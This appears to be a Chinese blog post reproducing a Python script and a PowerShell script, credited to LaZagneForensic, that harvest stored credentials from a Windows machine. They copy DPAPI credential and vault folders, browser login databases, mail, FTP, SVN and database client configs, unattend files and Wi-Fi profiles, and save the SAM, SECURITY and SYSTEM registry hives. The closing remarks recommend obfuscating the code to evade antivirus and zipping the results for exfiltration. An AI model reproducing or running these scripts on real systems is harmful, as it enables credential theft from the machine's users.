dump read

dump read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import _subprocess as sub
import subprocess
import shutil
import json
import os
user_softwares = [
##################### Data Protection应用程序编程接口(DPAPI) ####################
{
'name' : 'DPAPI',
'subfolder' : 'Roaming',
'paths' : [
u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Microsoft\\Protect', # 保护文件夹
u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Microsoft\\Credentials', # #凭证文件夹(域密码等)
u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Microsoft\\Vault',
],
},
{
'name' : 'DPAPI',
'subfolder' : 'Local',
'paths' : [
u'{drive}:\\Users\\{user}\\AppData\\Local\\Microsoft\\Credentials',
u'{drive}:\\Users\\{user}\\AppData\\Local\\Microsoft\\Vault', # 保险柜文件夹(Internet Explorer密码等)
],
},
##################### 浏览器 ####################
{
'name' : 'Chrome',
'paths' : [u'{drive}:\\Users\\{user}\\AppData\\Local\\Google\\Chrome\\User Data'],
'profile' : u'Local State',
'files' : [u'Login Data']
},
{
'name' : 'Coccoc',
'paths' : [u'{drive}:\\Users\\{user}\\AppData\\Local\\CocCoc\\Browser\\User Data'],
'profile' : u'Local State',
'files' : [u'Login Data']
},
{
'name' : 'Firefox',
'paths' : [u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles'],
'files' : [
u'key4.db',
u'key3.db',
u'logins.json',
u'cert8.db'
]
},
{
'name' : 'Opera',
'paths' : [u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data'],
},
##################### Pidgin聊天 ####################
{
'name' : 'Pidgin',
'paths' : [u'{drive}:\\Users\\{user}\\AppData\\Roaming\\.purple\\accounts.xml'],
},
##################### 数据库 #####################
{
'name' : 'Dbvis',
'paths' : [u'{drive}:\\Users\\{user}\\.dbvis\\config70\\dbvis.xml'],
},
{
'name' : 'Robomongo',
'paths' : [
u'{drive}:\\Users\\{user}\\.config\Robomongo\\robomongo.json', # old version
u'{drive}:\\Users\\{user}\\.3T\\robo-3t\\1.1.1\\robo3t.json', # new version
],
},
{
'name' : 'Squirrel',
'paths' : [u'{drive}:\\Users\\{user}\\.squirrel-sql\\SQLAliases23.xml'],
},
{
'name' : 'SQL Developer',
'paths' : [u'{drive}:\\Users\\{user}\\AppData\\Roaming\\SQL Developer'],
},
##################### 雷鸟邮件 #####################
{
'name' : 'Thunderbird',
'paths' : [u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Thunderbird\\Profiles'],
'files' : [
u'key3.db',
u'logins.json',
u'cert8.db'
]
},
##################### SVN #####################
{
'name' : 'Tortoise',
'paths' : [u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Subversion\\auth\\svn.simple'],
},
##################### Sysadmin #####################
{
'name' : 'ApacheDirectoryStudio',
'paths' : [u'{drive}:\\Users\\{user}\\.ApacheDirectoryStudio\\.metadata\\.plugins\\org.apache.directory.studio.connection.core\\connections.xml'],
},
{
'name' : 'Filezilla',
'paths' : [
u'{drive}:\\Users\\{user}\\AppData\\Roaming\\FileZilla\\sitemanager.xml',
u'{drive}:\\Users\\{user}\\AppData\\Roaming\\FileZilla\\recentservers.xml',
u'{drive}:\\Users\\{user}\\AppData\\Roaming\\FileZilla\\filezilla.xml'
],
},
{
'name' : 'FTP Navigator',
'paths' : [u'{drive}:\\FTP Navigator\\Ftplist.txt'],
},
]
system_softwares = [
##################### DPAPI ####################
{
'name' : 'DPAPI',
'paths' : [
u'{drive}:\\Windows\\System32\\Microsoft\\Protect',
u'{drive}:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Vault'
],
},
##################### 无人配置文件 ####################
{
'name' : 'Unattended',
'paths' : [
u'{drive}:\\Windows\\Panther\\Unattend.xml',
u'{drive}:\\Windows\\Panther\\Unattended.xml',
u'{drive}:\\Windows\\Panther\\Unattend\\Unattended.xml',
u'{drive}:\\Windows\\Panther\\Unattend\\Unattend.xml',
u'{drive}:\\Windows\\System32\\\Sysprep\\unattend.xml',
u'{drive}:\\Windows\\System32\\Sysprep\\Panther\\unattend.xml',
],
},
##################### Wifi ####################
{
'name' : 'Wifi',
'paths' : [
u'{drive}:\\ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces',
],
},
]
# 获取用户列表以检索他们的密码
def get_user_list_on_filesystem(drive):
# 检查系统中现有的用户(仅获取目录)
user_path = u'{drive}:\\Users'.format(drive=drive)
all_users = []
if os.path.exists(user_path):
all_users = os.listdir(user_path)
# 删除默认用户
for user in [u'All Users', u'Default User', u'Default', u'Public', u'desktop.ini']:
if user in all_users:
all_users.remove(user)
return all_users
# 应该在Linux和Windows主机上运行Windows
def get_basename(path):
basename = path.split('\\')
return basename[len(basename)-1]
def copy_dir(src, path):
dst = '{path}\{src_basename}'.format(path=path, src_basename=get_basename(src))
try:
if os.path.isdir(src):
shutil.copytree(src, dst)
else:
shutil.copy(src, dst)
print '[+] Copied: {src}'.format(src=src)
return True
except:
print '[-] Failed to copied: {src}'.format(src=src)
return False
def create_dir(directory):
if not os.path.exists(directory):
os.makedirs(directory)
print '[+] Creating directory: {directory}'.format(directory=directory)
return True
else:
return False
# 只使用文件系统进行脱机检查: http://resources.infosecinstitute.com/registry-forensics-regripper-command-line-linux/
def run_cmd(cmdline):
command = ['cmd.exe', '/c', cmdline]
info = subprocess.STARTUPINFO()
info.dwFlags = sub.STARTF_USESHOWWINDOW
info.wShowWindow = sub.SW_HIDE
p = subprocess.Popen(command, startupinfo=info, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, universal_newlines=True)
results, _ = p.communicate()
# 获得一份SYSTEM, SECURITY 和 SAM信息
def save_hives(directory):
create_dir(directory)
hives = ['sam', 'security', 'system']
for h in hives:
try:
cmd = 'reg.exe save hklm\{hive} {output_name}'.format(hive=h, output_name=os.path.join(directory, h.upper()))
run_cmd(cmd)
print '[+] Dump {hive_name} hive'.format(hive_name=h)
except Exception, e:
return False
return True
def dump(drive= u'C', folder_results=u'dump', zip_folder=False):
users_folder = os.path.join(folder_results, u'Users')
system_folder = os.path.join(folder_results, u'System')
create_dir(folder_results)
create_dir(users_folder)
create_dir(system_folder)
# 循环遍历C:\ Users中可见的所有用户
for user in get_user_list_on_filesystem(drive):
user_folder = os.path.join(users_folder, user)
create_dir(user_folder)
# 遍历所有由lazagne支持的软件
for software in user_softwares:
# 获取需要转储的所有文件路径
for path in software['paths']:
path = path.format(drive=drive, user=user)
if os.path.exists(path):
software_folder = os.path.join(user_folder, software['name'])
if 'subfolder' in software:
software_folder = os.path.join(software_folder, software['subfolder'])
create_dir(software_folder)
# 管理软件异常:转储多个配置文件
if software['name'] == 'Firefox' or software['name'] == 'Thunderbird':
for profile in os.listdir(path):
profile_folder = os.path.join(software_folder, profile)
create_dir(profile_folder)
for file in software['files']:
src = os.path.join(path, profile, file)
copy_dir(src, profile_folder)
elif software['name'] == 'Chrome' or software['name'] == 'Coccoc':
profiles = []
if os.path.exists(os.path.join(path, software['profile'])):
with open(os.path.join(path, software['profile'])) as file:
data = json.load(file)
for profile in data['profile']['info_cache']:
profiles.append(profile)
for profile in profiles:
profile_folder = os.path.join(software_folder, profile)
create_dir(profile_folder)
for file in software['files']:
src = os.path.join(path, profile, file)
copy_dir(src, profile_folder)
# 管理软件异常:当文件名称在版本之间改变时
elif software['name'] == 'SQL Developer':
new_directory = ''
for p in os.listdir(path):
# 一个子目录以systemxxxx开头
if p.startswith('system'):
new_directory = os.path.join(path, p)
for p in os.listdir(new_directory):
if p.startswith(u'o.sqldeveloper'):
xml_file = os.path.join(new_directory, p, u'product-preferences.xml')
if os.path.exists(xml_file):
copy_dir(xml_file, software_folder)
if p.startswith(u'o.jdeveloper'):
xml_file = os.path.join(new_directory, p, u'connections.xml')
if os.path.exists(xml_file):
copy_dir(xml_file, software_folder)
break
# 复制软件的文件无一例外
else:
copy_dir(path, software_folder)
# 系统信息
for software in system_softwares:
# 获取需要转储的所有文件路径
for path in software['paths']:
path = path.format(drive=drive)
if os.path.exists(path):
software_folder = os.path.join(system_folder, software['name'])
create_dir(software_folder)
copy_dir(path, software_folder)
save_hives(directory=os.path.join(system_folder, 'Hives'))
if not zip_folder:
print '[+] Directory created: {directory}'.format(directory=folder_results)
if __name__ == '__main__':
file = 'dump'
dump(folder_results=file)

powershell dump script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
function CheckFiles($dst, $user, $d)
{
for ($i=0; $i -lt $d['paths'].length; $i++) {
$path = $d['paths'][$i].replace('[USER]', $user)
# 如果没有找到配置文件,请不要创建目录
if ((Test-Path $path))
{
if (!(Test-Path $dst))
{
CreateDir($dst)
}
CopyFile $path $dst
}
}
}
# 管理多个档案
function ManageMozilla($root, $user, $d){
$mozilla_software_path = $d['paths'].replace('[USER]', $user)
if (Test-Path $mozilla_software_path) {
$mozilla_folder = $root + '\' + $d['name']
CreateDir($mozilla_folder)
$profiles = Get-ChildItem -Path $mozilla_software_path
foreach ($profile in $profiles.Name)
{
$profile_folder = $mozilla_folder + '\' + $profile
CreateDir($profile_folder)
for ($i=0; $i -lt $d['files'].length; $i++) {
$path = $d['paths'].replace('[USER]', $user) + '\' + $profile + '\' + $d['files'][$i]
$dst = $profile_folder + '\' + $d['files'][$i]
CopyFile $path $dst
}
}
}
}
# 适用于Chrome和一些浏览器
function ManageChromeProfile($root, $user, $d)
{
$chrome_folder = $root + '\' + $d['name']
$path = $d['paths'].replace('[USER]', $user)
$paths = Get-ChildItem -Path $path -Filter $d['file'] -Recurse -ErrorAction SilentlyContinue -Force
If ($paths -ne $null){
CreateDir($chrome_folder)
foreach ($p in $paths.Directory.Name)
{
$profile_folder = $chrome_folder + '\' + $p
CreateDir($profile_folder)
$src = $path + '\' + $p + '\' + $d['file']
$dst = $profile_folder + '\' + $d['file']
CopyFile $src $dst
}
}
}
function CopyFile($path, $dst){
if (Test-Path $path) {
if ((Get-Item $path) -is [System.IO.DirectoryInfo])
{
# Directory
Copy-Item -Recurse -Path $path -Destination $dst
}
else
{
# File
Copy-Item -Path $path -Destination $dst
}
}
}
function CreateDir($path){
If(!(Test-Path $path))
{
$new_dir = New-Item -ItemType Directory -Force -Path $path
}
}
function SaveHives($hives_folder)
{
CreateDir($hives_folder)
$dst = $hives_folder + '\SAM'
$sam = reg.exe save hklm\sam $dst
$dst = $hives_folder + '\SECURITY'
$secu = reg.exe save hklm\security $dst
$dst = $hives_folder + '\SYSTEM'
$sys = reg.exe save hklm\system $dst
}
function Dump
{
<#
.PARAMETER Out
指定所有文件将被复制的目录的名称(默认:转储)
.EXAMPLE
PS C:\> Dump
.EXAMPLE
PS C:\> Dump -Out dump
#>
Param(
[Parameter(Mandatory = $False)]
[String]
$Out = 'dump'
)
$usersFolder = $Out + '\Users'
$systemFolder = $Out + '\System'
$users = Get-ChildItem -Path C:\Users
CreateDir($Out)
CreateDir($usersFolder)
CreateDir($systemFolder)
######################################### 用户软件 #########################################
##################### DPAPI ####################
$dpapi_roaming = @{
'name' = 'DPAPI'
'subfolder' = 'Roaming'
'paths' = @(
'C:\Users\[USER]\AppData\Roaming\Microsoft\Protect',
'C:\Users\[USER]\AppData\Roaming\Microsoft\Credentials',
'C:\Users\[USER]\AppData\Roaming\Microsoft\Vault'
)
}
$dpapi_local = @{
'name' = 'DPAPI'
'subfolder' = 'Local'
'paths' = @(
'C:\Users\[USER]\AppData\Local\Microsoft\Credentials',
'C:\Users\[USER]\AppData\Local\Microsoft\Vault'
)
}
##################### 浏览器 ####################
$firefox = @{
'name' = 'Firefox'
'paths' = @('C:\Users\[USER]\AppData\Roaming\Mozilla\Firefox\Profiles')
'files' = @(
'key4.db',
'key3.db',
'logins.json',
'cert8.db'
)
}
$chrome = @{
'name' = 'Chrome'
'paths' = @('C:\Users\[USER]\AppData\Local\Google\Chrome\User Data')
'file' = 'Login Data'
}
$coccoc = @{
'name' = 'Coccoc'
'paths' = @('C:\Users\[USER]\AppData\Local\CocCoc\Browser\User Data')
'file' = 'Login Data'
}
$opera = @{
'name' = 'Opera'
'paths' = @('C:\Users\[USER]\AppData\Roaming\Opera Software\Opera Stable\Login Data')
}
##################### 聊天软件 ####################
$pidgin = @{
'name' = 'Pidgin'
'paths' = @('C:\Users\[USER]\AppData\Roaming\.purple\accounts.xml')
}
##################### 数据库 #####################
$dbvis = @{
'name' = 'Dbvis'
'paths' = @('C:\Users\[USER]\.dbvis\config70\dbvis.xml')
}
$robomongo = @{
'name' = 'Robomongo'
'paths' = @(
'C:\Users\[USER]\.config\Robomongo\robomongo.json',
'C:\Users\[USER]\.3T\robo-3t\1.1.1\robo3t.json'
)
}
$squirrel = @{
'name' = 'Squirrel'
'paths' = @('C:\Users\[USER]\.squirrel-sql\SQLAliases23.xml')
}
$sqlDeveloper = @{
'name' = 'SQL Developer'
'paths' = @('C:\Users\[USER]\AppData\Roaming\SQL Developer')
'files' = @(
'product-preferences.xml',
'connections.xml'
)
}
##################### 邮件 #####################
$thunderbird = @{
'name' = 'Thunderbird'
'paths' = @('C:\Users\[USER]\AppData\Roaming\Thunderbird\Profiles')
'files' = @(
'key3.db',
'logins.json',
'cert8.db'
)
}
##################### SVN #####################
$tortoise = @{
'name' = 'Tortoise'
'paths' = @('C:\Users\[USER]\AppData\Roaming\Subversion\auth\svn.simple')
}
##################### Sysadmin #####################
$apacheDirectoryStudio = @{
'name' = 'ApacheDirectoryStudio'
'paths' = @('C:\Users\[USER]\.ApacheDirectoryStudio\.metadata\.plugins\org.apache.directory.studio.connection.core\connections.xml')
}
$filezilla = @{
'name' = 'Filezilla'
'paths' = @(
'C:\Users\[USER]\AppData\Roaming\FileZilla\sitemanager.xml',
'C:\Users\[USER]\AppData\Roaming\FileZilla\recentservers.xml',
'C:\Users\[USER]\AppData\Roaming\FileZilla\filezilla.xml'
)
}
$ftpNavigator = @{
'name' = 'FTP Navigator'
'paths' = @('C:\FTP Navigator\Ftplist.txt')
}
# 循环遍历所有用户
foreach ($user in $users.Name)
{
if ($user -ne "Public"){
$userFolder = $usersFolder + '\' + $user
CreateDir($userFolder)
# --- DPAPI ---
$dpapi_folder = $userFolder + '\' + $dpapi_roaming['name']
CreateDir($dpapi_folder)
$dpapi_roaming_folder = $dpapi_folder + '\' + $dpapi_roaming['subfolder'].replace('[USER]', $user)
CreateDir($dpapi_roaming_folder)
CheckFiles $dpapi_roaming_folder $user $dpapi_roaming
$dpapi_local_folder = $dpapi_folder + '\' + $dpapi_local['subfolder'].replace('[USER]', $user)
CreateDir($dpapi_local_folder)
CheckFiles $dpapi_local_folder $user $dpapi_local
# --- Browsers ---
ManageMozilla $userFolder $user $firefox
ManageChromeProfile $userFolder $user $chrome
ManageChromeProfile $userFolder $user $coccoc
$dst = $userFolder + '\' + $opera['name']
CheckFiles $dst $user $opera
# --- Chats ---
$dst = $userFolder + '\' + $pidgin['name']
CheckFiles $dst $user $pidgin
# --- Databases ---
$dst = $userFolder + '\' + $dbvis['name']
CheckFiles $dst $user $dbvis
$dst = $userFolder + '\' + $robomongo['name']
CheckFiles $dst $user $robomongo
$dst = $userFolder + '\' + $squirrel['name']
CheckFiles $dst $user $squirrel
# Manage SQL Developer
foreach ($files in $sqlDeveloper['files'])
{
$paths = Get-ChildItem -Path $sqlDeveloper['paths'].replace('[USER]', $user) -Filter $files -Recurse -ErrorAction SilentlyContinue -Force
If ($paths -ne $null){
$sqldev_folder = $userFolder + '\' + $sqlDeveloper['name']
CreateDir($sqldev_folder)
foreach ($p in $paths.FullName)
{
CopyFile $p $sqldev_folder
}
}
}
# --- Mail ---
ManageMozilla $userFolder $user $thunderbird
# --- Svn ---
$dst = $userFolder + '\' + $tortoise['name']
CheckFiles $dst $user $tortoise
# --- Sysadmin ---
$dst = $userFolder + '\' + $apacheDirectoryStudio['name']
CheckFiles $dst $user $apacheDirectoryStudio
$dst = $userFolder + '\' + $filezilla['name']
CheckFiles $dst $user $filezilla
$dst = $userFolder + '\' + $ftpNavigator['name']
CheckFiles $dst $user $ftpNavigator
}
}
######################################### 系统密码 #########################################
##################### DPAPI ####################
$dpapi_system = @{
'name' = 'DPAPI'
'paths' = @(
'C:\Windows\System32\Microsoft\Protect',
'C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Vault'
)
}
$unattended = @{
'name' = 'Unattended'
'paths' = @(
'C:\Windows\Panther\Unattend.xml',
'C:\Windows\Panther\Unattended.xml',
'C:\Windows\Panther\Unattend\Unattended.xml',
'C:\Windows\Panther\Unattend\Unattend.xml',
'C:\Windows\System32\Sysprep\unattend.xml',
'C:\Windows\System32\Sysprep\Panther\unattend.xml'
)
}
$wifi = @{
'name' = 'Wifi'
'paths' = @(
'C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces'
)
}
# --- DPAPI ---
$dst = $systemFolder + '\' + $dpapi_system['name']
CheckFiles $dst '' $dpapi_system
# --- Unattended ---
$dst = $systemFolder + '\' + $unattended['name']
CheckFiles $dst '' $unattended
# --- Wifi ---
$dst = $systemFolder + '\' + $wifi['name']
CheckFiles $dst '' $wifi
# saves system hives from registry
SaveHives($systemFolder + '\' + 'Hives')
"Folder " + $Out + " created successfully !"
}

总结

from https://github.com/AlessandroZ/LaZagneForensic

优点,免杀好做,python,powershell混淆一下就可以了
缺点,数据传输难免复杂,zip加密后倒是可以用用